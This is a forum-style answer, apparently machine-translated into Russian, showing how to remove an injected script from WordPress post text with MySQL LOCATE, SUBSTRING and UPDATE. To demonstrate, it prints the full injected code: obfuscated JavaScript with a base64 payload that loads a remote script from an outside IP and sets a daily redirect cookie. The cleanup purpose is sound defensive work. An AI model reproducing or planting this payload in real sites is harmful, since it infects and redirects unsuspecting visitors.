MySQL 8.0 представляет новую функцию REGEXP_REPLACE () , но если вы используете более раннюю версию MySQL, вы можете использовать LOCATE () , чтобы найти начальную и конечную позиции в текст, а затем разбить содержимое между этими двумя позициями.
Я проверил это - я создал таблицу wp_mytable
и поместил в нее ваш оскорбительный текст с небольшим количеством текста до и после.
mysql> select * from wp_mytable\G
*************************** 1. row ***************************
id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)
LOCATE () может найти открытые и закрытые теги:
mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
| 9 |
+-------+
mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end |
+------+
| 830 |
+------+
Теперь, если мы заменим txt
содержимым до позиции 9 и после позиции 830 + LENGTH('<!--/codes_iframe-->')
, это удалит проблемное содержимое.
Сначала проверьте это с помощью SELECT:
mysql> SELECT
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt
FROM wp_mytable\G
*************************** 1. row ***************************
pre_txt: ABC 123
post_txt:
And that's all, folks.
Когда мы уверены, что это правильная подстрока, объедините части вместе и используйте их в ОБНОВЛЕНИИ:
mysql> UPDATE wp_mytable SET txt = CONCAT(
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
WHERE LOCATE('<!--codes_iframe-->', txt) > 0;
Как всегда, сделайте резервную копию ваших данных, прежде чем пытаться сделать этот тип операции.
Мне также приходит в голову, что вам следует снова искать данные после того, как вы сделали эту замену, в случае, если нарушающий скрипт был вставлен дважды в данный текст. Метод замены удаляет только первое вхождение, но вы этого хотите. Вы не хотите удалять допустимый текст между двумя вхождениями скрипта.
Кстати, мне жаль слышать, что вас взломали атакой SQL-инъекции. Люди иногда сосут.